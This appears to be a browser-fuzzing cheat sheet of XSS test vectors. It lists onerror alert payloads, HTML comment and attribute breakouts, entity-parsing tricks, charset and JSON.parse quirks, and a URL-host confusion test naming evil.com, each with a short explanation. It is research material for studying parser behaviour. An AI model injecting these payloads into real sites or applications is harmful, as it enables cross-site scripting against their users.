Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
<img src=x><img/src/onerror=alert(1)><div style="/**/color:red;">test</div>let transformedChr = String.fromCodePoint(0).toUpperCase();
0 > 0x7f &&
/^\w+$/.test(transformedChr) &&
alert(0 + '=>' + transformedChr)This vector demonstrates which codePoints transform to ascii characters when using toUpperCase() Related vector: shazzer.co.uk/vectors/661713f26438aee019a61a71
try {
standard_chars = [
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`
];
if (!standard_chars.includes(String.fromCodePoint(0))) {
JSON.parse(`{"test":"0x00"}`);
}
} catch {
alert(0);
}
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.
try {
standard_chars = [
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`
];
if (!standard_chars.includes(String.fromCodePoint(1))) {
JSON.parse(`{"test":"0x01"}`);
}
} catch {
alert(1);
}
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.
try {
standard_chars = [
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`
];
if (!standard_chars.includes(String.fromCodePoint(2))) {
JSON.parse(`{"test":"0x02"}`);
}
} catch {
alert(2);
}
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.
try {
standard_chars = [
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`
];
if (!standard_chars.includes(String.fromCodePoint(3))) {
JSON.parse(`{"test":"0x03"}`);
}
} catch {
alert(3);
}
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.
try {
standard_chars = [
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`
];
if (!standard_chars.includes(String.fromCodePoint(4))) {
JSON.parse(`{"test":"0x04"}`);
}
} catch {
alert(4);
}
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.
<script>"\\"-alert(92)//"</script>This vector demonstrates that certain characters consume backslashes when using a GBK charset
Characters that can be used to close or encapsulate HTML attribute values.
Characters that can be used to close or encapsulate HTML attribute values.
Characters that can be used to close or encapsulate HTML attribute values.
Characters that can be used to close or encapsulate HTML attribute values.
Characters that can be used to close or encapsulate HTML attribute values.
anchor.href='http://example.com';
anchor.protocol = 'http' + String.fromCodePoint(83) + ':';
if(!/http:/.test(anchor.protocol+''))alert(83)This vector shows which characters are not encoded in the schema part of the URL.
anchor.href='http://example.com';
anchor.protocol = 'http' + String.fromCodePoint(115) + ':';
if(!/http:/.test(anchor.protocol+''))alert(115)This vector shows which characters are not encoded in the schema part of the URL.
b1 = Math.floor(i / 256);
b2 = i % 256;
c = d.decode(new Uint8Array([0x1b, 0x24, 0x40, b1, b2]))
if (c.split("").map((c) => c.charCodeAt(0)).some((i) => i < 127)) alert(i)Sequences of two bytes that when in the ISO-2022-JP charset and preceded by the JIS X 0201 1978 escape sequence, produce any ASCII character after decoding.
if (new URL('https://www.example.com/0x00evil.com').host=='evil.com') {
alert('"https://www.example.com/0x00evil.com" -> "evil.com"')
}
if (new URL('https://www.example.com0x00evil.com').host=='evil.com') {
alert('"https://www.example.com0x00evil.com" -> "evil.com"')
}<div id="test" style="background-image: url(⟦00⟧;width:100%">hello</div>Characters that can break out of an inline style background-image url
<div id="test" style='0x00onload="alert(1)">hello</div>Characters that can break out of an inline style with single quotes
<img src=data: onerror="1&-alert(45)">This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1& alert(32)">This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1&&alert(38)">This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1&0x0Calert(12)">This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1&+alert(43)">This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1>- alert(45)">This vector shows which characters are ignored after the greater than entity without a semi-colon
<img src=data: onerror="1> alert(32)">This vector shows which characters are ignored after the greater than entity without a semi-colon
<img src=data: onerror="1>0x0C alert(12)">This vector shows which characters are ignored after the greater than entity without a semi-colon
<img src=data: onerror="1>+ alert(43)">This vector shows which characters are ignored after the greater than entity without a semi-colon
<img src=data: onerror="1> alert(160)">This vector shows which characters are ignored after the greater than entity without a semi-colon
const regex = /^(?:https?):\/\/shazzer[.]co[.]uk/;
Object.getOwnPropertyNames(window).forEach(prop => {
try{
regex.test(window[prop]+'')&&alert('window.'+prop)
}catch{}
});
for(const prop in document){
try{
regex.test(document[prop]+'')&&alert('document.'+prop);
} catch{}
}This vector shows all the properties in window and document that contain a URL that leaks the parent URL even when sandboxed.
const regex = /(?:about|https?):/;
Object.getOwnPropertyNames(window).forEach(prop => {
try{
regex.test(window[prop]+'')&&alert('window.'+prop)
}catch{}
});
for(const prop in document){
try{
regex.test(document[prop]+'')&&alert('document.'+prop);
} catch{}
}This vector shows all the properties in window and document that contain a URL.
anchor.href='//example.com';
anchor.username = String.fromCodePoint(33);
if(!/%/.test(anchor+''))alert(33)This vector shows which characters are not encoded in the credentials part of the URL.
anchor.href='//example.com';
anchor.username = String.fromCodePoint(36);
if(!/%/.test(anchor+''))alert(36)This vector shows which characters are not encoded in the credentials part of the URL.
anchor.href='//example.com';
anchor.username = String.fromCodePoint(38);
if(!/%/.test(anchor+''))alert(38)This vector shows which characters are not encoded in the credentials part of the URL.
anchor.href='//example.com';
anchor.username = String.fromCodePoint(40);
if(!/%/.test(anchor+''))alert(40)This vector shows which characters are not encoded in the credentials part of the URL.
anchor.href='//example.com';
anchor.username = String.fromCodePoint(41);
if(!/%/.test(anchor+''))alert(41)This vector shows which characters are not encoded in the credentials part of the URL.
<div a="><!-- "></div><img src=x:x onerror=alert(34) -->This vector shows which characters act like quotes by nullifying a HTML comment.
<div a='><!-- '></div><img src=x:x onerror=alert(39) -->This vector shows which characters act like quotes by nullifying a HTML comment.